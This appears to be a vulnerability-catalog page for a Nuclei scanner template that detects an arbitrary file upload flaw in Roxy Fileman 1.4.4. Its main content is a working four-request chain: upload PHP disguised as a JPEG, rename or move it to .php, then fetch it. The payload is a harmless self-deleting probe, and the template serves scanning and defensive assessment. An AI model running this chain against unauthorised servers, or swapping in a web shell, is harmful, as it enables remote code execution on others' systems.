SecurityContext

roxyfileman-fileupload: Roxy Fileman 1.4.4 - Arbitrary File Upload

  • Template: roxyfileman-fileupload
  • Name: Roxy Fileman 1.4.4 - Arbitrary File Upload
  • Description: Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.
  • Severity: high
  • Authors: DhiyaneshDK
  • Tags: misconfig, edb, roxy, fileman, rce, fileupload, intrusive, vuln
  • References: https://www.exploit-db.com/exploits/39963
  • Verified: yes
  • Max requests: 4
  • Directory: http/misconfiguration
  • Path: http/misconfiguration/roxyfileman-fileupload.yaml
  • Digest: 4a0a0047304502207b640ead7f5514570ebc9ab0131b4ca73f02127e615096c6865249e038d3d732022100ce20baed86c184f30d6a144bbc9563fa109cdc673a7b241e70c7baf6e6cdd260
  • Created at: 2022-08-23T04:35:20Z
  • Updated at: 2025-10-26T16:17:37Z
  • Age in days: 1553
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/roxyfileman-fileupload.yaml
  • Checked, none or zero: cves, products
  • Not known: impact, remediation

Classification

  • Cwe: CWE-434
  • Cvss score: 8.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Not known: epss score, epss percentile, cpe

Metadata

  • Google-query: intitle:"Roxy file manager"
  • Max-request: 4
  • Verified: yes

Labels

  • Name: Roxy Fileman - Arbitrary File Upload
  • Impact: Attackers can upload and rename files to executable extensions, leading to remote code execution on the server.
  • Remediation: Update to the latest version of Roxy Fileman.
  • Vulnerability type: unrestricted_file_upload
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: roxyfileman-fileupload

info:

name: Roxy Fileman 1.4.4 - Arbitrary File Upload

author: DhiyaneshDK

severity: high

description: |

Roxy Fileman 1.4.4 is susceptible to remote code execution via the FORBIDDEN_UPLOADS setting, which is checked when renaming an existing file to a new file extension. An attacker can bypass this check and rename already uploaded files to any extension using the move function, which does not perform any checks.

reference:

- https://www.exploit-db.com/exploits/39963

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

cvss-score: 8.8

cwe-id: CWE-434

metadata:

verified: true

max-request: 4

google-query: intitle:"Roxy file manager"

tags: misconfig,edb,roxy,fileman,rce,fileupload,intrusive,vuln

http:

- raw:

- |

POST /php/upload.php HTTP/1.1

Host: {{Hostname}}

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6rbEqFAMRkE0RAB7

------WebKitFormBoundary6rbEqFAMRkE0RAB7

Content-Disposition: form-data; name="action"

upload

------WebKitFormBoundary6rbEqFAMRkE0RAB7

Content-Disposition: form-data; name="method"

ajax

------WebKitFormBoundary6rbEqFAMRkE0RAB7

Content-Disposition: form-data; name="d"

/app/Uploads

------WebKitFormBoundary6rbEqFAMRkE0RAB7

Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.jpg"

Content-Type: image/jpeg

<?php

echo md5('roxyfileman-fileupload');unlink(__FILE__);

?>

------WebKitFormBoundary6rbEqFAMRkE0RAB7--

- |

POST /php/renamefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n={{randstr}}.php

- |

POST /php/movefile.php?f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

f=%2Fapp%2FUploads%2F{{randstr}}.jpg&n=%2Fapp%2FUploads%2F{{randstr}}.php

- |

GET /Uploads/{{randstr}}.php HTTP/1.1

Host: {{Hostname}}

host-redirects: true

max-redirects: 2

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "99acb46eabd01958e22fae1792e83ca9"

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 4a0a0047304502207b640ead7f5514570ebc9ab0131b4ca73f02127e615096c6865249e038d3d732022100ce20baed86c184f30d6a144bbc9563fa109cdc673a7b241e70c7baf6e6cdd260:922c64590222798bb761d5b6d8e72950

```